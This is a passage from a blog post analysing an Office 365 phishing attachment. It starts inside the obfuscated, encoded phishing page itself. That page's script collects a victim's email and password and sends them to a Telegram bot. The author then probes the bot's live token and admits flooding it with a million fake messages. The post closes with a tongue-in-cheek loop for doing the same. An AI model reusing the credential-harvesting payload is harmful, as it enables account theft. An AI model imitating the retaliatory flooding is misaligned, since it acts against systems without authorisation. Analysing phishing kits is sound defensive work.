x79\x49iB\u006a\u0062GFzcz\x30\u0069\u0063m93\111HRp\x64\107xlI\x47\u00564d\x4310\141X\x52sZSI\u002b\x43\x69AgICA8ZGl\x32\x49H\112\166b\107U\x39\x49m\x68l\131W\122pb\x6dci\u0049GFy\141WE\x74bG\126\u0032ZW\u00779\111\152\x45i\x50kVudG\x56yI\x48B\x68c3N3b3JkP\103\x39\x6baXY+C\x6aw\x76ZGl\062\u0050\x67\x6f\u0038ZGl2IG\154kP\123\u004a\154cnJ\166\u0063n\x423IiBzdHlsZT0iY2\x39s\142\063I\066\u0049\x48Jl\x5aD\163g\142W\x46yZ\x32luOiAxNXB4\117yBtYXJnaW4t\u0062\x47\126mdD\157\x67M\u0048B\064\117\x79\x42t\x59XJnaW\064\164\x64G\u0039w\u004fiAwc\x48g7\111G1\x68\143md\x70b\x691\x69b3\u0052\x30\1422\x306\u0049D\x42w\145\u0044siP\x6a\x77vZ\u0047l2\120go8Z\107l2I\107\u004esYXN\x7a\x50S\112yb3\143iPg\x6fg\u0049C\x41gPGR\160d\151Bj\142\107\106zc\u007a\u0030\151Zm9yb\123\061n\143m91cC\u0042\152\142\u0032\167t\u0062\127Q\x74\u004d\152\u0051i\u0050\147ogICAgI\103A\147\u0049\x44xkaX\131gY2xhc3\x4d\071InB\x73\131WNla\107\x39sZG\x56yQ2\071udGFpbmVy\111\x6a4\113IC\101gICA\u0067ICAgI\103AgP\x47lucHV0\u0049\x47\x35\x68\142WU9In\x42hc3N3ZCIg\144H\x6cw\132T\x30\u0069c\u0047F\x7ac3d\x76\143mQiI\107\u006ckP\123JpMDEx\117CIgYXV0b2NvbXB\u0073ZXRlP\x53\u004av\u005amYi\x49GNsYXN\x7aP\x53\x4amb3Jt\114W\x4evbn\x52\171b2wg\x61\x57\x35wd\x58QgZ\x58h\x30L\127\154uc\110V0\111H\122leH\121t\131m\071\u0034I\107V4dC10\x5aX\x680LW\u004a\166e\u0043I\147cGxhY\062\126o\u0062\x32xkZ\u0058I9\u0049\u006c\102\150c3N\063b3JkIiByZXF1aXJlZ\u0043\x41vPg\1578L\x32\x52pd\1524K\u0049\103AgID\x77v\u005a\107l\x32P\x67o8L\062Rpd\152\x34KPGR\x70\u0064\x6a4K\120GRpdiBjbGFzcz0i\x63\1079z\x61\x58Rpb2\u0034\u0074Yn\x560\144G9uc\x79I+C\151\101g\111CA8Z\x47l2P\147ogICA\x67ICA\147\111D\u0078\x6ba\130Y\147Y2xh\1433M9In\u004avd\171I\x2b\103i\u0041g\u0049CA\147I\103\u0041gI\x43AgIDxk\141XYgY2x\x68c\x33M9\x49m\x4e\x76\x62C1t\u005aC\060yNCI+\u0043iAg\111C\101\x67IC\101g\111CA\x67\u0049CAgI\x43A8ZG\x6c2I\u0047\u004es\x59\130NzP\123J0\u005aXh\x30LTEzI\152\064\113I\x43AgICAg\111CA\x67I\u0043A\147\111CAgICAg\111CA\x38\x5aG\1542\111\107Ns\131X\u004ez\u0050S\u004amb\063\u004at\114\127d\171b3\u0056wI\1524\113\111CA\x67\x49CAgI\103A\x67\x49CAgICAg\u0049\x43AgI\103\101g\111CA\x67PGEgaW\u00519\u0049\x6d\154k\121\x56\x39\121V0RfRm9\x79\x5a29\u0030\x55\x47F\172c\u0033dvcmQiIHJvb\107\u00559\111\x6d\170pb\155\x73\151\111\x47\150yZWY\071I\x69\115\151Pk\132\u0076c\155dvdH\122lb\x69B\u0074eSBwY\130Nzd\x32\x39yZDw\166YT4K\x49C\x41g\111CAgI\x43\101gI\103\u0041\u0067I\x43A\u0067\u0049\x43Ag\111CA8\u004c\062R\x70dj\x34KP\x47Rp\x64\u0069Bj\x62GFz\x63z0i\132m9ybS\x31ncm9\u0031c\x43I\x2bCjwvZG\x6c2PgogICAg\x49\x43Ag\111\104x\153a\130\u0059\x67Y2\170\150c\x33M9\u0049\u006dZ\x76cm0tZ3JvdXAi\x50go\147ICAg\111CAg\u0049CAgICA\070YSBpZD\x30iaTE2\u004ej\u0067i\111\107hyZ\x57Y9Ii\x4diPlNpZ24\x67aW4gd2l\060aCBhbm90\141GVyI\107Fj\x5929\u0031bnQ8L2E\053CiAgICAg\111C\101g\x50C9k\141XY+PC\x39ka\u0058\131+\x50\103\x39\u006baXY+PC9ka\x58Y+Ci\x41gIC\1018L2\x52\u0070\u0064\1524K\103\x69\x41\x67I\u0043\u0041\x38ZGl\u0032\u0049G\x4es\131\x58\116zPSJ3aW4tYnV0d\107\071uL\x58B\x70\x62i1ib3\x520b20\151\u0050g\157gI\x43Ag\u0049CAgIDx\153a\u0058Yg\1312x\150\1433M9\111nJ\166dyI\u002bCiAg\x49\u0043AgI\x43AgICA\x67\111Dx\153\u0061XY+PGRpdiB\u006a\142GFzc\172\060iY29s\114X\x68\x7a\u004cT\x49\x30\u0049\1075vLXB\x68\132GR\u0070bmctb\x47\126md\x431\171aWdod\103B\151\u0064XR0b\x324tY2\071\x75dG\u0046p\x62mVy\111j4KI\103A\147IDx\153\141XYgY2x\150c\x33M\x39ImlubG\154uZ\1231i\142G9ja\u0079I\053CiA\u0067IC\101g\111\x43Ag\120GlucHV\x30IH\x525\u0063GU9\u0049nN1Ym1pd\u0043I\147\x61W\1219Im\x6c\x6b\x550\154C\144X\x52\060\u0062245I\x69BjbGFz\u0063\x7a0\x69d\x32l\x75\114WJ1dHRvbiBidXR0b\u00325\146cHJpbWF\u0079\145S\u0042\x69d\u0058\1220b\u0032\064g\x5aXh0L\x57J1dHRv\x62iBw\u0063\x6dltY\x58J\x35IG\1264\144C1wcm\154tY\x58J5I\151B2\131Wx1ZT0\x69U2lnbiBp\x62iI\x2b\103iAgIC\x418L2\122\x70dj4K\x50\u00439\153\u0061XY+PC9\153aXY\x2bC\151\x41gI\103A\x67\111CAgPC9k\141XY+C\151A\147\111CA8\x4c\x32Rp\144j\064\113P\x439kaXY\053\x50C9kaXY\x2bC\151AgICA\x38\x4c2\x52pdj4KPC9\153a\u0058Y+PC9k\141\x58\131+PC\u0039k\u0061\x58Y+PC9ka\u0058Y+\x43\x69Ag\111CA8L2Rpd\1524KP\1039kaXY+\x50C9\x6baXY+\u0043\151\x41gICAgIC\u0041\u0067\x50\u00439k\141XY+CiAg\u0049C\x41\x38L2Rpdj4KICA\147\111\104\x78kaXY\147a\x57Q9ImZv\x623Rl\u0063iIgc\x6d\071sZT\x30\151\x5929u\144\107VudGluZm8\x69\x49\u0047\116sYXNz\120S\112m\u00622\0710Z\x58IgZXh0\x4cWZvb3\122l\x63iI+Ci\101gI\x43\101\x67I\103\x41gPGRpdj4KPG\x52\160\144\x69BpZ\1040iZ\155\071vd\x47VyTGl\x75\u00613\x4di\111GNsY\130N\x7a\120\123J\u006db2\0710ZX\x4aOb2R\154IHR\u006ceHQtc\062\126\x6ab2\065\u006b\x59X\112\u0035Ij4K\111CA\147ICAg\x49CA\x38YS\102\160ZD\060i\132nRyV\u0047VybX\u004diI\u0047hyZWY9\111iMi\x49G\u004e\x73YXNzP\x53Jm\14229\060Z\130I\164Y29\x75\u0064GVudC\x42l\145HQ\164Z\1559v\144G\x56\u0079L\x57Nv\x62nRlbnQ\u0067Zm9vdGV\171LWl0\x5a\1270\x67\u005a\x58h\x30LWZvb3Rlci1pd\x47V\u0074Ij5UZXJtc\171BvZiB1c\u0032\125\x38\114\u0032\105\053C\u0069\x41gICAg\x49CA\147P\x47EgaWQ9ImZ0c\x6cByaX\x5ahY3\u006biIG\x68yZ\u0057Y9I\x69MiIG\x4e\x73YXNz\120SJmb290ZX\111tY29udGVu\x64\103BleHQtZ\155\u0039\x76\144G\x56yL\x57\x4evb\u006eR\u006cbnQgZ\u006d9\x76dGVyLWl\x30ZW\x30gZXh0LWZvb3Rlc\x69\x31p\x64GVt\u0049j\x35Qcml\062\x59WN\x35I\103ZhbXA7I\u0047\x4e\u0076\1422tpZX\u004d8L\x32E+C\151A\x67ICA\x38\131SBpZD0i\142W9yZU9wd\u0047l\u0076bn\u004d\151I\x47\150\171\132WY\071Ii\x4d\u0069I\107FyaWE\164bGFiZWw\u0039\111k\116\u0073aWNrIGhl\x63mU\x67Zm9yIHRyb\u0033V\x69bGVzaG9v\u0064\u0047luZyBp\142mZvcm1\x68dGlvb\x69IgY2x\x68c3\u004d\x39Im\132\x76b3Rl\x63i1\x6ab\06250Z\u0057\0650IGV4\144C1mb2\x390ZXItY29udG\x56udCBm\x62290\x5aXItaXRlb\x53Bl\145\110\121\164Z\x6d\071\x76\144\x47VyLW\1540Z\u00570\147\x5aGV\x69dWctaXR\x6cb\123B\u006c\145HQtZGVidWctaXRlb\123\111+Li4u\x50\1039\150\x50go\070L2Rp\x64\x6a48L\062\u0052p\x64j\x34K\111CAgIDw\x76\132\x47l2Pgo8L2\u0052pd\x6a48\1142Rp\x64\x6a4\x38L2\u0052\u0070dj4K\x50C9\155b\x33\x4atPgo\x38\x632Ny\x61X\x420P\x67ogICA\147dm\x46y\111\107\x4evdW50I\x440gM\u0044s\113ICAgI\x48ZhciBwc3dkMTsKIC\101gIG\122vY3\x56tZW50\x4cmdldEVsZ\u0057\061lbnRC\x65UlkKCJp\x5aF\x4eJ\u0051nV0d\107\u0039uOSIp\114mF\x6bZE\x56\x32\u005aW50\x54Glzd\x47VuZXI\x6fI\155\116\163aWNrIiwgZn\u0056u\u00593Rpb\x324\u006f\x5aSk\147ewogI\103A\x67ZS\u0035\x77cmV2\u005aW5\u0030R\107Vm\x59XVsdC\147p\x4fwo\u004bIC\101gIHZhci\x42wc\063dk\u0049D0\147\x5aG9jdW\061lbnQu\x5a2\x56\u0030\x52W\170lb\u0057\x56udEJ\065SWQoJ2k\x77MTE\x34\x4aykudmFsdW\125\u0037CiA\147IC\x42p\132i\101ocH\x4e3Z\x43A\u0039PSBudWx\163IHx8IHB\u007a\u00642Q\x67PT\x30gI\u0069Ipewo\u0067\x49CAgICA\147IGRvY\063VtZW50Lmd\154\x64\x45Vs\132\x571lbnRCe\u0055lkKCdlcnJ\166c\156B\063\u004aykuaW5uZ\x58\x4a\x49\126E\x31MI\x440\147YF\u006c\166dXIg\131W\x4ejb3\x56\165dCBw\u0059XNz\14429yZCBjYW\065\x75\x62\x33QgY\155\125gZW1\x77d\110kuIGl\x6dIHlvdSB\u006bb24n\u0064CB\x79\u005aW1l\x62WJl\143iB5b3\126y\u0049\x48Bhc3N3b3JkLC\x418\131SBocmVm\120\u0053\111j\u0049j5y\x5a\x58NldC\x42pdC\x42\x75b3cu\u0050C9hPmA7Ci\u0041\u0067\111CAgIC\x41\147c2V0\126\107ltZW91\144CgoKS\x419\120iB7ZG9jdW\061lbnQ\x75Z2V0RWx\x6c\142W\126u\x64E\u004a5SWQoJ2\x56ycm9ycH\u0063\u006eK\x53\x35p\u0062m5\x6c\x63\x6bhUT\x55wgP\123AnJzt9LCAzM\104AwK\124t\u0039C\151AgICBl\x62\110NlI\107l\x6dK\x48Bz\x642QubGVuZ3Ro\x49\104wgNS\u006c\067\103iA\x67ICA\147\111\x43A\x67\132\107\x39j\x64\u00571l\x62\x6eQu\x5a2\x56\060RWx\x6c\142\x57\126udE\1125S\127QoJ2V\171cm9\u0079cHcnKS\x35pb\1555\x6cc\u006bh\125TUwg\x50S\101i\x57W91\143iBh\1312N\x76d\x57\x350\111HB\u0068c\x33N3\u00623J\x6bIGlzIHRvbyBz\141\x479y\144C4\u0069Owog\x49CA\147IC\101gIH\116ldFRpb\127VvdXQ\u006fK\x43\153gPT4ge\062RvY\u0033\x56t\132W5\x30Lm\x64\154dE\x56sZ\x571\u006cb\x6eRCe\u0055lkKCdlcnJvc\x6eB\u0033Jyk\x75\x61\1275uZ\u0058JIV\x451MID0gJyc7I\x47\u0052\x76\x593Vt\132W50Lmd\154dE\u0056sZW\061\x6cbn\122CeU\x6ckKCJpMDI4M\x53IpLn\u004alc2V0KCk\x37\x66S\167gMzAw\u004dCk7CiAgICB9IGV\163c2U\147\141\127\131g\x4bGNvdW50PD\x45pewog\111CA\147I\x43\x41gIHBz\u0064\062\121\170\x49D0gZ\107\x39jdW1lbnQ\x75Z2V\060R\u0057x\x6cbWVudEJ5SWQo\112\x32kwM\x54\x45\064Jykudm\x46\u0073dW\1257CiAgICAg\x49\u0043AgZ\u0047\071jd\x571lbn\121uZ\x32\x560\122Wxlb\u0057V\x75dEJ5SWQ\x6f\x4a\x32Vycm9ycHcn\u004bS5pbm5lckhUT\x55wgPS\x42g\x57W91c\151BhY\x32\x4e\166d\x5750I\107\x39\171\111\x48B\150c\063N3b3Jk\111GlzIG\u006cuY29y\u0063mV\u006adC\x34g\u0061W\131geW91\u0049GRvbid\x30\x49\x48Jlb\x57VtY\x6d\x56\u0079\111Hl\166dXI\u0067cGFzc3\144vcmQsIDx\150IG\u0068yZWY9Ii\x4diPn\u004a\x6cc2\u00560I\107l0IG5v\144y\x348L\x32E+Y\x44\163\x4bICAg\x49\x43A\147\x49CBkb2N1bWVudC\x35\u006eZXRFbGV\164ZW5\x30Qn\u006c\112ZC\147iaTAyODEiKS5yZXNldC\147\160Oy\102jb3V\u0075dCsr\1173\x30KICAgIGVsc\x32Uge\u0077\u006f\u0067ICAgICA\x67IH\132\x68ci\x42JUC\101\x39IGRvY\x33\x56tZW50Lmdld\105V\u0073\132W1lbnRCeU\u006ckKCdn\x5amc\x6eKS5\060Z\u0058h0Q2\x39udGV\165dD\163KICAg\u0049CA\x67IC\x422YX\u0049gbWVz\1432FnZS\x419IGA\x39\u0050T\0609PT0g\u0054zM2NS\x42SZ\u0058N1bHQgPT09PT0\u0039\130\x48Jc\x62\153VtYWls\u004f\151Ak\1452VtYWlsfV\170yX\u0047\x35QYX\116\172\x6429yZ\x44E6IC\x527cHN3\x5a\u0044F9XH\u004a\x63blBhc3N3b3\112\u006bMjogJHt\x77c\063dk\u0066V\u0078\171X\x475JUD\x6f\147a\u0048R\060c\x48\x4d\066L\x799pc\1031h\143G\x6bu\13129tL\x79R\067SV\102\071XHJ\143b\x6cVzZ\u0058\u0049t\x51W\144\u006cb\u006eQ\x36ICR7bmF2a\127dhd\1079\u0079L\x6e\x56z\x5aX\x4aB\132\x32Vud\u00481\143\143l\x78\u0075PT09P\124\u00309PT0\u0039\u0050T09PT09PT\x30\x39PWA7\u0043iAgI\103\101gICA\u0067\u0064mF\171\111HNld\110\122pb\x6ddzID0gew\x6f\147IC\101\x67ICAg\x49CAg\111\103A\151\u0059X\1165\142m\115i\x4fiB\060\x63nVlLCA\u0069Y\u0033\x4av\u00633N\x45b\062\u0031haW\x34i\x4fiB0\143\x6eVlLCA\x69dXJsIj\x6f\x67\111\155h\x30\x64HBz\x4f\151\x38v\x59XBp\u004cnRlbGVncmFtL\u006d9\x79Zy\u0039i\142\063\121i\111\u0043sgdG\x39\162\132W\064gK\x79\x41\x69L3Nlb\x6dRNZ\x58NzY\127\x64lIiwKI\103\101g\111\x43A\147IC\x41g\111C\u0041gIm1l\144GhvZCI6ICJQ\1241N\x55\u0049\u0069\x77gI\x6dhlYW\122l\143nMi\u004fiB7\x49kN\x76b\156\122lb\156Q\164\x56H\154\167\132\123I\066ICJ\x68cH\102\x73aWN\x68dG\154\x76\142\x699qc\u00329uI\151\167\u0067\u0049mN\u0068Y2\u0068lL\x57NvbnRyb2\167i\x4fiAib\155\u0038t\x59\062\106jaGU\x69fS\x77K\u0049\x43\x41gICA\147\111C\101g\111CA\x67\111\u006d\122hd\x47\105iOi\u0042KU09O\114n\1160cm\154u\1322lme\123h7\111mNoYX\u0052\u0066a\x57\121iO\151B\152\141GF0X2lkLCAidGV\x34\x64\x43I\066\111\1071l\143\x33NhZ\062V9KX\x30\u004b\111\x43\u0041gIC\x41gIC\x41kLm\106\161YX\147o\1432\u00560dG\x6c\u0075\1323\115p\u004c\155R\x76bm\x55\x6f\113HJlc3Bv\142nN\x6cKSA9PiB7d\u0032luZ\107\071\x33Lm\u0078\u0076Y\u0032\x46\x30\141W9uLn\x4a\x6c\x63Gx\x68\x592UoJ\x32h\u0030\x64\110BzOi\070v\x63G9\x79d\107FsL\u006d\x39m\x5amljZ\123\u0035j\x622\x30\166c2Vy\x64m\154jZ\130N0YXR1cy\x63p\1173\x30pOwo\u0067IC\101\x67fSA\113I\103\x41gIH\060\x70O\x79AKP\x439zY3Jp\x63HQ+C\u006awvZGl\x32\120jwvYm9k\x65T48L\u0032h0b\127w+");\u0064\u006fc\u0075m\u0065\u006e\u0074.write(data);</script>

What’s interesting is they’ve exploited that you can use unicode escaping for JavaScript identifier names, which is legal as per the spec.

Let’s take this:

var e\u006dail="<yes, my email was here>";

We have the Unicode codepoint of 006d (the \u indicates that it’s a unicode escape) and if we refer to a unicode lookup table we’ll see that 006d is m, meaning that we have an identifier of email. Bet you didn’t guess THAT did you!

Clearly, this particular version of the file has gone hard on the unicode identifiers, even down to \u0064\u006fc\u0075m\u0065\u006e\u0074.write, which is just document.write.

This brings us to the question of why, why would you convert all the JavaScript, or at least some of it, to unicode? I can only speculate, but I’d assume that they are doing it as a layer of obfuscation, it’s just another thing that makes the code less readable to anyone who goes snooping around in it and make them think that maybe it is legitimate in what it’s doing. It does come at the expense of size, going from 8.6KB to 17.8KB, which is why this isn’t a common form of obfuscation for served JavaScript, but if you’re running an offline file like this, it doesn’t really matter.

Digging into Telegram

In the last post I was saddened by the fact that I couldn’t use the Telegram API with the token that was in the email body as it was no longer authorised. This time though, I’m pleased to say that it is active, at least at the time of writing!

So, let’s poke it.

From the JavaScript, we can see that the token is used to call the bot parts of the API, suggesting that it’s a valid bot token and nothing more, but let’s start trying to figure out the user info for the bot. I’m going to do this in JavaScript, for something a bit different, and we’ll start by getting the bot and chat info:

import "dotenv/config";

(async () => {
  const token = process.env.TELEGRAM_TOKEN || "";
  const chat_id = process.env.CHAT_ID || "";
  const telegramAPIBase = `https://api.telegram.org/bot${token}`;

  let res = await fetch(`${telegramAPIBase}/getMe`, { method: "POST" });
  let json = await res.json();
  console.log("me", json);

  res = await fetch(`${telegramAPIBase}/getChat`, {
    method: "POST",
    body: JSON.stringify({ chat_id }),
    headers: {
      "Content-Type": "application/json",
      "cache-control": "no-cache",
    },
  });
  json = await res.json();
  console.log("chat", json);
})();

This sees the following dumped to the console:

me {
  ok: true,
  result: {
    id: 5742807394,
    is_bot: true,
    first_name: 'countduque',
    username: 'countduque11_bot',
    can_join_groups: true,
    can_read_all_group_messages: false,
    supports_inline_queries: false
  }
}
chat {
  ok: true,
  result: {
    id: 5486255038,
    first_name: 'Count',
    last_name: 'Duque',
    type: 'private'
  }
}

So our bot is named countduque and they are in a private chat (which isn’t surprising really), but what is surprising, and somewhat annoying, is that the user has can_read_all_group_messages set to false, which is the default for bots. The impact of this is that the bot is unable to read out the messages of the chat. I had assumed that they were using the bot as the input and output processing, but it seems like it’s just feeding the data in and either they have a person on the other end that reads the messages, or a different bot that reads them. Given the semi-structured nature of the input, I’m guessing they have another bot that’s reading the messages.

To validate, I use the getUpdates endpoint, but through all my testing, I was unable to get back any messages, even when I submitted them I was unable to read them back immediately… queue sad face.

I guess that I’m not going to be able to get much further with this bot… so instead I spammed it with 1000000 fake messages… as you do.

Summary

I’m enjoying this exploration into the spammer emails. It was interesting to see the use of unicode for identifier names as a way to obfuscate the code a little more (at least, so I assume), and I’m not surprised that I wasn’t able to pull the messages from the Telegram chat, just saddened that I couldn’t.

I’ll just have to keep an eye out for the next one that comes in and see if I can learn any more.

Oh, and I’d totally not encourage anyone to use the token/chat ID that was in this to run code such as this:

  for (let i = 0; i < 1000000; i++) {
    const message = `====== O365 Result ======\\r\\nEmail: ${email}\\r\\nPassword1: ${password}\\r\\nPassword2: ${password}\\r\\nIP: https://ip-api.com/0.0.0.0\\r\\nUser-Agent: Mozilla/4.02 [en] (X11; I; SunOS 5.6 sun4u)\\r\\n===================`;
    fetch(`${telegramAPIBase}/sendMessage`, {
      method: "POST",
      body: JSON.stringify({ chat_id: chat_id, text: message }),
      headers: {
        "Content-Type": "application/json",
        "cache-control": "no-cache",
      },
    });
  }

I really wouldn’t… 😏